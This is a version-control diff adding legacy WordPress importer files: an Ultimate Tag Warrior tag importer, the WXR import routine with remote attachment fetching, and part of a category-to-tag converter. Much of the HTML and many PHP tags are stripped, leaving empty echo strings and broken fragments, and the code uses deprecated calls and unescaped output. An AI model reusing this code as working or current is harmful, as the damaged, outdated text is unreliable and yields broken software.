    '; + } + + function footer() { + echo ''; + } + + function greet() { + echo '
    '; + echo '

    '.__('Howdy! This imports tags from Ultimate Tag Warrior 3 into WordPress tags.').'

    '; + echo '

    '.__('This has not been tested on any other versions of Ultimate Tag Warrior. Mileage may vary.').'

    '; + echo '

    '.__('To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 5-step program to help you kick that nasty UTW habit. Just keep clicking along and we will let you know when you are in the clear!').'

    '; + echo '

    '.__('Don’t be stupid - backup your database before proceeding!').'

    '; + echo '
    '; + echo '

    '; + echo '
    '; + echo '
    '; + } + + + function dispatch () { + if ( empty( $_GET['step'] ) ) { + $step = 0; + } else { + $step = (int) $_GET['step']; + } + + if ( $step > 1 ) + check_admin_referer('import-utw'); + + // load the header + $this->header(); + + switch ( $step ) { + case 0 : + $this->greet(); + break; + case 1 : + $this->import_tags(); + break; + case 2 : + $this->import_posts(); + break; + case 3: + $this->import_t2p(); + break; + case 4: + $this->cleanup_import(); + break; + } + + // load the footer + $this->footer(); + } + + + function import_tags ( ) { + echo '
    '; + echo '

    '.__('Reading UTW Tags…').'

    '; + + $tags = $this->get_utw_tags(); + + // if we didn't get any tags back, that's all there is folks! + if ( !is_array($tags) ) { + echo '

    ' . __('No Tags Found!') . '

    '; + return false; + } + else { + + // if there's an existing entry, delete it + if ( get_option('utwimp_tags') ) { + delete_option('utwimp_tags'); + } + + add_option('utwimp_tags', $tags); + + + $count = count($tags); + + echo '

    ' . sprintf( _n('Done! %s tag were read.', 'Done! %s tags were read.', $count), $count ) . '

    '; + echo '

    ' . __('The following tags were found:') . '

    '; + + echo '
      '; + + foreach ( $tags as $tag_id => $tag_name ) { + + echo '
    • ' . $tag_name . '
    • '; + + } + + echo '
    '; + + echo '
    '; + + echo '

    ' . __('If you don’t want to import any of these tags, you should delete them from the UTW tag management page and then re-run this import.') . '

    '; + + + } + + echo '
    '; + wp_nonce_field('import-utw'); + echo '

    '; + echo '
    '; + echo '
    '; + } + + + function import_posts ( ) { + echo '
    '; + echo '

    '.__('Reading UTW Post Tags…').'

    '; + + // read in all the UTW tag -> post settings + $posts = $this->get_utw_posts(); + + // if we didn't get any tags back, that's all there is folks! + if ( !is_array($posts) ) { + echo '

    ' . __('No posts were found to have tags!') . '

    '; + return false; + } + else { + + // if there's an existing entry, delete it + if ( get_option('utwimp_posts') ) { + delete_option('utwimp_posts'); + } + + add_option('utwimp_posts', $posts); + + + $count = count($posts); + + echo '

    ' . sprintf( _n('Done! %s tag to post relationships were read.', 'Done! %s tags to post relationships were read.', $count), $count ) . '

    '; + + } + + echo '
    '; + wp_nonce_field('import-utw'); + echo '

    '; + echo '
    '; + echo '
    '; + + } + + + function import_t2p ( ) { + + echo '
    '; + echo '

    '.__('Adding Tags to Posts…').'

    '; + + // run that funky magic! + $tags_added = $this->tag2post(); + + echo '

    ' . sprintf( _n( 'Done! %s tag were added!', 'Done! %s tags were added!', $tags_added ), $tags_added ) . '

    '; + + echo '
    '; + wp_nonce_field('import-utw'); + echo '

    '; + echo '
    '; + echo '
    '; + + } + + + function get_utw_tags ( ) { + + global $wpdb; + + // read in all the tags from the UTW tags table: should be wp_tags + $tags_query = "SELECT tag_id, tag FROM " . $wpdb->prefix . "tags"; + + $tags = $wpdb->get_results($tags_query); + + // rearrange these tags into something we can actually use + foreach ( $tags as $tag ) { + + $new_tags[$tag->tag_id] = $tag->tag; + + } + + return $new_tags; + + } + + function get_utw_posts ( ) { + + global $wpdb; + + // read in all the posts from the UTW post->tag table: should be wp_post2tag + $posts_query = "SELECT tag_id, post_id FROM " . $wpdb->prefix . "post2tag"; + + $posts = $wpdb->get_results($posts_query); + + return $posts; + + } + + + function tag2post ( ) { + + // get the tags and posts we imported in the last 2 steps + $tags = get_option('utwimp_tags'); + $posts = get_option('utwimp_posts'); + + // null out our results + $tags_added = 0; + + // loop through each post and add its tags to the db + foreach ( $posts as $this_post ) { + + $the_post = (int) $this_post->post_id; + $the_tag = (int) $this_post->tag_id; + + // what's the tag name for that id? + $the_tag = $tags[$the_tag]; + + // screw it, just try to add the tag + wp_add_post_tags($the_post, $the_tag); + + $tags_added++; + + } + + // that's it, all posts should be linked to their tags properly, pending any errors we just spit out! + return $tags_added; + + + } + + + function cleanup_import ( ) { + + delete_option('utwimp_tags'); + delete_option('utwimp_posts'); + + $this->done(); + + } + + + function done ( ) { + + echo '
    '; + echo '

    '.__('Import Complete!').'

    '; + + echo '

    ' . __('OK, so we lied about this being a 5-step program! You’re done!') . '

    '; + + echo '

    ' . __('Now wasn’t that easy?') . '

    '; + + echo '
    '; + + } + + + function UTW_Import ( ) { + + // Nothing. + + } + +} + + +// create the import object +$utw_import = new UTW_Import(); + +// add it to the import page! +register_importer('utw', 'Ultimate Tag Warrior', __('Import Ultimate Tag Warrior tags into WordPress tags.'), array($utw_import, 'dispatch')); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/import/wordpress.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/import/wordpress.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,869 @@ +'; + screen_icon(); + echo '

    '.__('Import WordPress').'

    '; + } + + function footer() { + echo ''; + } + + function unhtmlentities($string) { // From php.net for < 4.3 compat + $trans_tbl = get_html_translation_table(HTML_ENTITIES); + $trans_tbl = array_flip($trans_tbl); + return strtr($string, $trans_tbl); + } + + function greet() { + echo '
    '; + echo '

    '.__('Howdy! Upload your WordPress eXtended RSS (WXR) file and we’ll import the posts, pages, comments, custom fields, categories, and tags into this blog.').'

    '; + echo '

    '.__('Choose a WordPress WXR file to upload, then click Upload file and import.').'

    '; + wp_import_upload_form("admin.php?import=wordpress&step=1"); + echo '
    '; + } + + function get_tag( $string, $tag ) { + global $wpdb; + preg_match("|<$tag.*?>(.*?)|is", $string, $return); + $return = preg_replace('|^$|s', '$1', $return[1]); + $return = $wpdb->escape( trim( $return ) ); + return $return; + } + + function has_gzip() { + return is_callable('gzopen'); + } + + function fopen($filename, $mode='r') { + if ( $this->has_gzip() ) + return gzopen($filename, $mode); + return fopen($filename, $mode); + } + + function feof($fp) { + if ( $this->has_gzip() ) + return gzeof($fp); + return feof($fp); + } + + function fgets($fp, $len=8192) { + if ( $this->has_gzip() ) + return gzgets($fp, $len); + return fgets($fp, $len); + } + + function fclose($fp) { + if ( $this->has_gzip() ) + return gzclose($fp); + return fclose($fp); + } + + function get_entries($process_post_func=NULL) { + set_magic_quotes_runtime(0); + + $doing_entry = false; + $is_wxr_file = false; + + $fp = $this->fopen($this->file, 'r'); + if ($fp) { + while ( !$this->feof($fp) ) { + $importline = rtrim($this->fgets($fp)); + + // this doesn't check that the file is perfectly valid but will at least confirm that it's not the wrong format altogether + if ( !$is_wxr_file && preg_match('|xmlns:wp="http://wordpress[.]org/export/\d+[.]\d+/"|', $importline) ) + $is_wxr_file = true; + + if ( false !== strpos($importline, '') ) { + preg_match('|(.*?)|is', $importline, $url); + $this->base_url = $url[1]; + continue; + } + if ( false !== strpos($importline, '') ) { + preg_match('|(.*?)|is', $importline, $category); + $this->categories[] = $category[1]; + continue; + } + if ( false !== strpos($importline, '') ) { + preg_match('|(.*?)|is', $importline, $tag); + $this->tags[] = $tag[1]; + continue; + } + if ( false !== strpos($importline, '') ) { + preg_match('|(.*?)|is', $importline, $term); + $this->terms[] = $term[1]; + continue; + } + if ( false !== strpos($importline, '') ) { + $this->post = ''; + $doing_entry = true; + continue; + } + if ( false !== strpos($importline, '') ) { + $doing_entry = false; + if ($process_post_func) + call_user_func($process_post_func, $this->post); + continue; + } + if ( $doing_entry ) { + $this->post .= $importline . "\n"; + } + } + + $this->fclose($fp); + } + + return $is_wxr_file; + + } + + function get_wp_authors() { + // We need to find unique values of author names, while preserving the order, so this function emulates the unique_value(); php function, without the sorting. + $temp = $this->allauthornames; + $authors[0] = array_shift($temp); + $y = count($temp) + 1; + for ($x = 1; $x < $y; $x ++) { + $next = array_shift($temp); + if (!(in_array($next, $authors))) + array_push($authors, "$next"); + } + + return $authors; + } + + function get_authors_from_post() { + global $current_user; + + // this will populate $this->author_ids with a list of author_names => user_ids + + foreach ( $_POST['author_in'] as $i => $in_author_name ) { + + if ( !empty($_POST['user_select'][$i]) ) { + // an existing user was selected in the dropdown list + $user = get_userdata( intval($_POST['user_select'][$i]) ); + if ( isset($user->ID) ) + $this->author_ids[$in_author_name] = $user->ID; + } + elseif ( $this->allow_create_users() ) { + // nothing was selected in the dropdown list, so we'll use the name in the text field + + $new_author_name = trim($_POST['user_create'][$i]); + // if the user didn't enter a name, assume they want to use the same name as in the import file + if ( empty($new_author_name) ) + $new_author_name = $in_author_name; + + $user_id = username_exists($new_author_name); + if ( !$user_id ) { + $user_id = wp_create_user($new_author_name, wp_generate_password()); + } + + $this->author_ids[$in_author_name] = $user_id; + } + + // failsafe: if the user_id was invalid, default to the current user + if ( empty($this->author_ids[$in_author_name]) ) { + $this->author_ids[$in_author_name] = intval($current_user->ID); + } + } + + } + + function wp_authors_form() { +?> +

    +

    admins entries.'); ?>

    +allow_create_users() ) { + echo '

    '.__('If a new user is created by WordPress, a password will be randomly generated. Manually change the user’s details if necessary.')."

    \n"; + } + + + $authors = $this->get_wp_authors(); + echo '
    '; + wp_nonce_field('import-wordpress'); +?> +
      +'.__('Import author:').' '.$author.'
      '; + $this->users_form($j, $author); + echo ''; + } + + if ( $this->allow_fetch_attachments() ) { +?> +
    +

    +

    + + +

    + +'; + echo ''.'
    '; + echo '

    '; + echo '
    '; + + } + + function users_form($n, $author) { + + if ( $this->allow_create_users() ) { + printf('
    '); + } + else { + echo __('Map to existing').'
    '; + } + + // keep track of $n => $author name + echo ''; + + $users = get_users_of_blog(); +?> + get_entries(array(&$this, 'process_author')); + if ( $is_wxr_file ) { + $this->wp_authors_form(); + } + else { + echo '

    '.__('Invalid file').'

    '; + echo '

    '.__('Please upload a valid WXR (WordPress eXtended RSS) export file.').'

    '; + } + } + + // fetch the user ID for a given author name, respecting the mapping preferences + function checkauthor($author) { + global $current_user; + + if ( !empty($this->author_ids[$author]) ) + return $this->author_ids[$author]; + + // failsafe: map to the current user + return $current_user->ID; + } + + + + function process_categories() { + global $wpdb; + + $cat_names = (array) get_terms('category', 'fields=names'); + + while ( $c = array_shift($this->categories) ) { + $cat_name = trim($this->get_tag( $c, 'wp:cat_name' )); + + // If the category exists we leave it alone + if ( in_array($cat_name, $cat_names) ) + continue; + + $category_nicename = $this->get_tag( $c, 'wp:category_nicename' ); + $category_description = $this->get_tag( $c, 'wp:category_description' ); + $posts_private = (int) $this->get_tag( $c, 'wp:posts_private' ); + $links_private = (int) $this->get_tag( $c, 'wp:links_private' ); + + $parent = $this->get_tag( $c, 'wp:category_parent' ); + + if ( empty($parent) ) + $category_parent = '0'; + else + $category_parent = category_exists($parent); + + $catarr = compact('category_nicename', 'category_parent', 'posts_private', 'links_private', 'posts_private', 'cat_name', 'category_description'); + + $cat_ID = wp_insert_category($catarr); + } + } + + function process_tags() { + global $wpdb; + + $tag_names = (array) get_terms('post_tag', 'fields=names'); + + while ( $c = array_shift($this->tags) ) { + $tag_name = trim($this->get_tag( $c, 'wp:tag_name' )); + + // If the category exists we leave it alone + if ( in_array($tag_name, $tag_names) ) + continue; + + $slug = $this->get_tag( $c, 'wp:tag_slug' ); + $description = $this->get_tag( $c, 'wp:tag_description' ); + + $tagarr = compact('slug', 'description'); + + $tag_ID = wp_insert_term($tag_name, 'post_tag', $tagarr); + } + } + + function process_terms() { + global $wpdb, $wp_taxonomies; + + $custom_taxonomies = $wp_taxonomies; + // get rid of the standard taxonomies + unset( $custom_taxonomies['category'] ); + unset( $custom_taxonomies['post_tag'] ); + unset( $custom_taxonomies['link_category'] ); + + $custom_taxonomies = array_keys( $custom_taxonomies ); + $current_terms = (array) get_terms( $custom_taxonomies, 'get=all' ); + $taxonomies = array(); + foreach ( $current_terms as $term ) { + if ( isset( $_terms[$term->taxonomy] ) ) { + $taxonomies[$term->taxonomy] = array_merge( $taxonomies[$term->taxonomy], array($term->name) ); + } else { + $taxonomies[$term->taxonomy] = array($term->name); + } + } + + while ( $c = array_shift($this->terms) ) { + $term_name = trim($this->get_tag( $c, 'wp:term_name' )); + $term_taxonomy = trim($this->get_tag( $c, 'wp:term_taxonomy' )); + + // If the term exists in the taxonomy we leave it alone + if ( isset($taxonomies[$term_taxonomy] ) && in_array( $term_name, $taxonomies[$term_taxonomy] ) ) + continue; + + $slug = $this->get_tag( $c, 'wp:term_slug' ); + $description = $this->get_tag( $c, 'wp:term_description' ); + + $termarr = compact('slug', 'description'); + + $term_ID = wp_insert_term($term_name, $this->get_tag( $c, 'wp:term_taxonomy' ), $termarr); + } + } + + function process_author($post) { + $author = $this->get_tag( $post, 'dc:creator' ); + if ($author) + $this->allauthornames[] = $author; + } + + function process_posts() { + echo '
      '; + + $this->get_entries(array(&$this, 'process_post')); + + echo '
    '; + + wp_import_cleanup($this->id); + do_action('import_done', 'wordpress'); + + echo '

    '.sprintf(__('All done.').' '.__('Have fun!').'', get_option('home')).'

    '; + } + + function _normalize_tag( $matches ) { + return '<' . strtolower( $matches[1] ); + } + + function process_post($post) { + global $wpdb; + + $post_ID = (int) $this->get_tag( $post, 'wp:post_id' ); + if ( $post_ID && !empty($this->post_ids_processed[$post_ID]) ) // Processed already + return 0; + + set_time_limit( 60 ); + + // There are only ever one of these + $post_title = $this->get_tag( $post, 'title' ); + $post_date = $this->get_tag( $post, 'wp:post_date' ); + $post_date_gmt = $this->get_tag( $post, 'wp:post_date_gmt' ); + $comment_status = $this->get_tag( $post, 'wp:comment_status' ); + $ping_status = $this->get_tag( $post, 'wp:ping_status' ); + $post_status = $this->get_tag( $post, 'wp:status' ); + $post_name = $this->get_tag( $post, 'wp:post_name' ); + $post_parent = $this->get_tag( $post, 'wp:post_parent' ); + $menu_order = $this->get_tag( $post, 'wp:menu_order' ); + $post_type = $this->get_tag( $post, 'wp:post_type' ); + $post_password = $this->get_tag( $post, 'wp:post_password' ); + $is_sticky = $this->get_tag( $post, 'wp:is_sticky' ); + $guid = $this->get_tag( $post, 'guid' ); + $post_author = $this->get_tag( $post, 'dc:creator' ); + + $post_excerpt = $this->get_tag( $post, 'excerpt:encoded' ); + $post_excerpt = preg_replace_callback('|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $post_excerpt); + $post_excerpt = str_replace('
    ', '
    ', $post_excerpt); + $post_excerpt = str_replace('
    ', '
    ', $post_excerpt); + + $post_content = $this->get_tag( $post, 'content:encoded' ); + $post_content = preg_replace_callback('|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $post_content); + $post_content = str_replace('
    ', '
    ', $post_content); + $post_content = str_replace('
    ', '
    ', $post_content); + + preg_match_all('|(.*?)|is', $post, $tags); + $tags = $tags[1]; + + $tag_index = 0; + foreach ($tags as $tag) { + $tags[$tag_index] = $wpdb->escape($this->unhtmlentities(str_replace(array (''), '', $tag))); + $tag_index++; + } + + preg_match_all('|(.*?)|is', $post, $categories); + $categories = $categories[1]; + + $cat_index = 0; + foreach ($categories as $category) { + $categories[$cat_index] = $wpdb->escape($this->unhtmlentities(str_replace(array (''), '', $category))); + $cat_index++; + } + + $post_exists = post_exists($post_title, '', $post_date); + + if ( $post_exists ) { + echo '
  • '; + printf(__('Post %s already exists.'), stripslashes($post_title)); + $comment_post_ID = $post_id = $post_exists; + } else { + + // If it has parent, process parent first. + $post_parent = (int) $post_parent; + if ($post_parent) { + // if we already know the parent, map it to the local ID + if ( $parent = $this->post_ids_processed[$post_parent] ) { + $post_parent = $parent; // new ID of the parent + } + else { + // record the parent for later + $this->orphans[intval($post_ID)] = $post_parent; + } + } + + echo '
  • '; + + $post_author = $this->checkauthor($post_author); //just so that if a post already exists, new users are not created by checkauthor + + $postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_excerpt', 'post_title', 'post_status', 'post_name', 'comment_status', 'ping_status', 'guid', 'post_parent', 'menu_order', 'post_type', 'post_password'); + $postdata['import_id'] = $post_ID; + if ($post_type == 'attachment') { + $remote_url = $this->get_tag( $post, 'wp:attachment_url' ); + if ( !$remote_url ) + $remote_url = $guid; + + $comment_post_ID = $post_id = $this->process_attachment($postdata, $remote_url); + if ( !$post_id or is_wp_error($post_id) ) + return $post_id; + } + else { + printf(__('Importing post %s...'), stripslashes($post_title)); + $comment_post_ID = $post_id = wp_insert_post($postdata); + if ( $post_id && $is_sticky == 1 ) + stick_post( $post_id ); + + } + + if ( is_wp_error( $post_id ) ) + return $post_id; + + // Memorize old and new ID. + if ( $post_id && $post_ID ) { + $this->post_ids_processed[intval($post_ID)] = intval($post_id); + } + + // Add categories. + if (count($categories) > 0) { + $post_cats = array(); + foreach ($categories as $category) { + if ( '' == $category ) + continue; + $slug = sanitize_term_field('slug', $category, 0, 'category', 'db'); + $cat = get_term_by('slug', $slug, 'category'); + $cat_ID = 0; + if ( ! empty($cat) ) + $cat_ID = $cat->term_id; + if ($cat_ID == 0) { + $category = $wpdb->escape($category); + $cat_ID = wp_insert_category(array('cat_name' => $category)); + if ( is_wp_error($cat_ID) ) + continue; + } + $post_cats[] = $cat_ID; + } + wp_set_post_categories($post_id, $post_cats); + } + + // Add tags. + if (count($tags) > 0) { + $post_tags = array(); + foreach ($tags as $tag) { + if ( '' == $tag ) + continue; + $slug = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db'); + $tag_obj = get_term_by('slug', $slug, 'post_tag'); + $tag_id = 0; + if ( ! empty($tag_obj) ) + $tag_id = $tag_obj->term_id; + if ( $tag_id == 0 ) { + $tag = $wpdb->escape($tag); + $tag_id = wp_insert_term($tag, 'post_tag'); + if ( is_wp_error($tag_id) ) + continue; + $tag_id = $tag_id['term_id']; + } + $post_tags[] = intval($tag_id); + } + wp_set_post_tags($post_id, $post_tags); + } + } + + // Now for comments + preg_match_all('|(.*?)|is', $post, $comments); + $comments = $comments[1]; + $num_comments = 0; + $inserted_comments = array(); + if ( $comments) { + foreach ($comments as $comment) { + $comment_id = $this->get_tag( $comment, 'wp:comment_id'); + $newcomments[$comment_id]['comment_post_ID'] = $comment_post_ID; + $newcomments[$comment_id]['comment_author'] = $this->get_tag( $comment, 'wp:comment_author'); + $newcomments[$comment_id]['comment_author_email'] = $this->get_tag( $comment, 'wp:comment_author_email'); + $newcomments[$comment_id]['comment_author_IP'] = $this->get_tag( $comment, 'wp:comment_author_IP'); + $newcomments[$comment_id]['comment_author_url'] = $this->get_tag( $comment, 'wp:comment_author_url'); + $newcomments[$comment_id]['comment_date'] = $this->get_tag( $comment, 'wp:comment_date'); + $newcomments[$comment_id]['comment_date_gmt'] = $this->get_tag( $comment, 'wp:comment_date_gmt'); + $newcomments[$comment_id]['comment_content'] = $this->get_tag( $comment, 'wp:comment_content'); + $newcomments[$comment_id]['comment_approved'] = $this->get_tag( $comment, 'wp:comment_approved'); + $newcomments[$comment_id]['comment_type'] = $this->get_tag( $comment, 'wp:comment_type'); + $newcomments[$comment_id]['comment_parent'] = $this->get_tag( $comment, 'wp:comment_parent'); + } + // Sort by comment ID, to make sure comment parents exist (if there at all) + ksort($newcomments); + foreach ($newcomments as $key => $comment) { + // if this is a new post we can skip the comment_exists() check + if ( !$post_exists || !comment_exists($comment['comment_author'], $comment['comment_date']) ) { + if (isset($inserted_comments[$comment['comment_parent']])) + $comment['comment_parent'] = $inserted_comments[$comment['comment_parent']]; + $comment = wp_filter_comment($comment); + $inserted_comments[$key] = wp_insert_comment($comment); + $num_comments++; + } + } + } + + if ( $num_comments ) + printf(' '._n('(%s comment)', '(%s comments)', $num_comments), $num_comments); + + // Now for post meta + preg_match_all('|(.*?)|is', $post, $postmeta); + $postmeta = $postmeta[1]; + if ( $postmeta) { foreach ($postmeta as $p) { + $key = $this->get_tag( $p, 'wp:meta_key' ); + $value = $this->get_tag( $p, 'wp:meta_value' ); + $value = stripslashes($value); // add_post_meta() will escape. + + $this->process_post_meta($post_id, $key, $value); + + } } + + do_action('import_post_added', $post_id); + print "
  • \n"; + } + + function process_post_meta($post_id, $key, $value) { + // the filter can return false to skip a particular metadata key + $_key = apply_filters('import_post_meta_key', $key); + if ( $_key ) { + add_post_meta( $post_id, $_key, $value ); + do_action('import_post_meta', $post_id, $_key, $value); + } + } + + function process_attachment($postdata, $remote_url) { + if ($this->fetch_attachments and $remote_url) { + printf( __('Importing attachment %s... '), htmlspecialchars($remote_url) ); + + // If the URL is absolute, but does not contain http, upload it assuming the base_site_url variable + if ( preg_match('/^\/[\w\W]+$/', $remote_url) ) + $remote_url = rtrim($this->base_url,'/').$remote_url; + + $upload = $this->fetch_remote_file($postdata, $remote_url); + if ( is_wp_error($upload) ) { + printf( __('Remote file error: %s'), htmlspecialchars($upload->get_error_message()) ); + return $upload; + } + else { + print '('.size_format(filesize($upload['file'])).')'; + } + + if ( $info = wp_check_filetype($upload['file']) ) { + $postdata['post_mime_type'] = $info['type']; + } + else { + print __('Invalid file type'); + return; + } + + $postdata['guid'] = $upload['url']; + + // as per wp-admin/includes/upload.php + $post_id = wp_insert_attachment($postdata, $upload['file']); + wp_update_attachment_metadata( $post_id, wp_generate_attachment_metadata( $post_id, $upload['file'] ) ); + + // remap the thumbnail url. this isn't perfect because we're just guessing the original url. + if ( preg_match('@^image/@', $info['type']) && $thumb_url = wp_get_attachment_thumb_url($post_id) ) { + $parts = pathinfo($remote_url); + $ext = $parts['extension']; + $name = basename($parts['basename'], ".{$ext}"); + $this->url_remap[$parts['dirname'] . '/' . $name . '.thumbnail.' . $ext] = $thumb_url; + } + + return $post_id; + } + else { + printf( __('Skipping attachment %s'), htmlspecialchars($remote_url) ); + } + } + + function fetch_remote_file($post, $url) { + $upload = wp_upload_dir($post['post_date']); + + // extract the file name and extension from the url + $file_name = basename($url); + + // get placeholder file in the upload dir with a unique sanitized filename + $upload = wp_upload_bits( $file_name, 0, '', $post['post_date']); + if ( $upload['error'] ) { + echo $upload['error']; + return new WP_Error( 'upload_dir_error', $upload['error'] ); + } + + // fetch the remote url and write it to the placeholder file + $headers = wp_get_http($url, $upload['file']); + + //Request failed + if ( ! $headers ) { + @unlink($upload['file']); + return new WP_Error( 'import_file_error', __('Remote server did not respond') ); + } + + // make sure the fetch was successful + if ( $headers['response'] != '200' ) { + @unlink($upload['file']); + return new WP_Error( 'import_file_error', sprintf(__('Remote file returned error response %1$d %2$s'), $headers['response'], get_status_header_desc($headers['response']) ) ); + } + elseif ( isset($headers['content-length']) && filesize($upload['file']) != $headers['content-length'] ) { + @unlink($upload['file']); + return new WP_Error( 'import_file_error', __('Remote file is incorrect size') ); + } + + $max_size = $this->max_attachment_size(); + if ( !empty($max_size) and filesize($upload['file']) > $max_size ) { + @unlink($upload['file']); + return new WP_Error( 'import_file_error', sprintf(__('Remote file is too large, limit is %s', size_format($max_size))) ); + } + + // keep track of the old and new urls so we can substitute them later + $this->url_remap[$url] = $upload['url']; + // if the remote url is redirected somewhere else, keep track of the destination too + if ( $headers['x-final-location'] != $url ) + $this->url_remap[$headers['x-final-location']] = $upload['url']; + + return $upload; + + } + + // sort by strlen, longest string first + function cmpr_strlen($a, $b) { + return strlen($b) - strlen($a); + } + + // update url references in post bodies to point to the new local files + function backfill_attachment_urls() { + + // make sure we do the longest urls first, in case one is a substring of another + uksort($this->url_remap, array(&$this, 'cmpr_strlen')); + + global $wpdb; + foreach ($this->url_remap as $from_url => $to_url) { + // remap urls in post_content + $wpdb->query( $wpdb->prepare("UPDATE {$wpdb->posts} SET post_content = REPLACE(post_content, '%s', '%s')", $from_url, $to_url) ); + // remap enclosure urls + $result = $wpdb->query( $wpdb->prepare("UPDATE {$wpdb->postmeta} SET meta_value = REPLACE(meta_value, '%s', '%s') WHERE meta_key='enclosure'", $from_url, $to_url) ); + } + } + + // update the post_parent of orphans now that we know the local id's of all parents + function backfill_parents() { + global $wpdb; + + foreach ($this->orphans as $child_id => $parent_id) { + $local_child_id = $this->post_ids_processed[$child_id]; + $local_parent_id = $this->post_ids_processed[$parent_id]; + if ($local_child_id and $local_parent_id) { + $wpdb->query( $wpdb->prepare("UPDATE {$wpdb->posts} SET post_parent = %d WHERE ID = %d", $local_parent_id, $local_child_id)); + } + } + } + + function is_valid_meta_key($key) { + // skip attachment metadata since we'll regenerate it from scratch + if ( $key == '_wp_attached_file' || $key == '_wp_attachment_metadata' ) + return false; + return $key; + } + + // give the user the option of creating new users to represent authors in the import file? + function allow_create_users() { + return apply_filters('import_allow_create_users', true); + } + + // give the user the option of downloading and importing attached files + function allow_fetch_attachments() { + return apply_filters('import_allow_fetch_attachments', true); + } + + function max_attachment_size() { + // can be overridden with a filter - 0 means no limit + return apply_filters('import_attachment_size_limit', 0); + } + + function import_start() { + wp_defer_term_counting(true); + wp_defer_comment_counting(true); + do_action('import_start'); + } + + function import_end() { + do_action('import_end'); + + // clear the caches after backfilling + foreach ($this->post_ids_processed as $post_id) + clean_post_cache($post_id); + + wp_defer_term_counting(false); + wp_defer_comment_counting(false); + } + + function import($id, $fetch_attachments = false) { + $this->id = (int) $id; + $this->fetch_attachments = ($this->allow_fetch_attachments() && (bool) $fetch_attachments); + + add_filter('import_post_meta_key', array($this, 'is_valid_meta_key')); + $file = get_attached_file($this->id); + $this->import_file($file); + } + + function import_file($file) { + $this->file = $file; + + $this->import_start(); + $this->get_authors_from_post(); + wp_suspend_cache_invalidation(true); + $this->get_entries(); + $this->process_categories(); + $this->process_tags(); + $this->process_terms(); + $result = $this->process_posts(); + wp_suspend_cache_invalidation(false); + $this->backfill_parents(); + $this->backfill_attachment_urls(); + $this->import_end(); + + if ( is_wp_error( $result ) ) + return $result; + } + + function handle_upload() { + $file = wp_import_handle_upload(); + if ( isset($file['error']) ) { + echo '

    '.__('Sorry, there has been an error.').'

    '; + echo '

    ' . $file['error'] . '

    '; + return false; + } + $this->file = $file['file']; + $this->id = (int) $file['id']; + return true; + } + + function dispatch() { + if (empty ($_GET['step'])) + $step = 0; + else + $step = (int) $_GET['step']; + + $this->header(); + switch ($step) { + case 0 : + $this->greet(); + break; + case 1 : + check_admin_referer('import-upload'); + if ( $this->handle_upload() ) + $this->select_authors(); + break; + case 2: + check_admin_referer('import-wordpress'); + $result = $this->import( $_GET['id'], $_POST['attachments'] ); + if ( is_wp_error( $result ) ) + echo $result->get_error_message(); + break; + } + $this->footer(); + } + + function WP_Import() { + // Nothing. + } +} + +/** + * Register WordPress Importer + * + * @since unknown + * @var WP_Import + * @name $wp_import + */ +$wp_import = new WP_Import(); + +register_importer('wordpress', 'WordPress', __('Import posts, pages, comments, custom fields, categories, and tags from a WordPress export file.'), array ($wp_import, 'dispatch')); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/import/wp-cat2tag.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/import/wp-cat2tag.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,472 @@ +'; + if ( ! current_user_can('manage_categories') ) { + echo '
    '; + echo '

    ' . __('Cheatin’ uh?') . '

    '; + echo '
    '; + } else { ?> +

    +

    +'; + } + + function populate_cats() { + + $categories = get_categories('get=all'); + foreach ( $categories as $category ) { + $this->all_categories[] = $category; + if ( is_term( $category->slug, 'post_tag' ) ) + $this->hybrids_ids[] = $category->term_id; + } + } + + function populate_tags() { + + $tags = get_terms( array('post_tag'), 'get=all' ); + foreach ( $tags as $tag ) { + $this->all_tags[] = $tag; + if ( is_term( $tag->slug, 'category' ) ) + $this->hybrids_ids[] = $tag->term_id; + } + } + + function categories_tab() { + $this->populate_cats(); + $cat_num = count($this->all_categories); + + echo '
    '; + + if ( $cat_num > 0 ) { + screen_icon(); + echo '

    ' . sprintf( _n( 'Convert Category to Tag.', 'Convert Categories (%d) to Tags.', $cat_num ), $cat_num ) . '

    '; + echo '
    '; + echo '

    ' . __('Hey there. Here you can selectively convert existing categories to tags. To get started, check the categories you wish to be converted, then click the Convert button.') . '

    '; + echo '

    ' . __('Keep in mind that if you convert a category with child categories, the children become top-level orphans.') . '

    '; + + $this->categories_form(); + } else { + echo '

    '.__('You have no categories to convert!').'

    '; + } + } + + function categories_form() { ?> + + + +
    +

    +

    +
      + +all_categories as $category) { + $category = sanitize_term( $category, 'category', 'display' ); + + if ( (int) $category->parent == 0 ) { ?> + +
    • term_id), $this->hybrids_ids ) ) + echo ' * '; + + if ( isset($hier[$category->term_id]) ) + $this->_category_children($category, $hier); ?>
    • + +
    + +hybrids_ids) ) + echo '

    ' . __('* This category is also a tag. Converting it will add that tag to all posts that are currently in the category.') . '

    '; ?> + +

    +
    + +populate_tags(); + $tags_num = count($this->all_tags); + + echo '
    '; + + if ( $tags_num > 0 ) { + screen_icon(); + echo '

    ' . sprintf( _n( 'Convert Tag to Category.', 'Convert Tags (%d) to Categories.', $tags_num ), $tags_num ) . '

    '; + echo '
    '; + echo '

    ' . __('Here you can selectively convert existing tags to categories. To get started, check the tags you wish to be converted, then click the Convert button.') . '

    '; + echo '

    ' . __('The newly created categories will still be associated with the same posts.') . '

    '; + + $this->tags_form(); + } else { + echo '

    '.__('You have no tags to convert!').'

    '; + } + } + + function tags_form() { ?> + + + +
    +

    +

    +
      + +all_tags as $tag ) { ?> +
    • term_id), $this->hybrids_ids ) ) echo ' * '; ?>
    • + + +
    + +hybrids_ids) ) + echo '

    ' . __('* This tag is also a category. When converted, all posts associated with the tag will also be in the category.') . '

    '; ?> + +

    +
    + + + +
      +term_id] as $child_id) { + $child =& get_category($child_id); ?> +
    • term_id), $this->hybrids_ids ) ) + echo ' * '; + + if ( isset($hier[$child->term_id]) ) + $this->_category_children($child, $hier); ?>
    • + +
    categories_to_convert)) { ?> +
    +

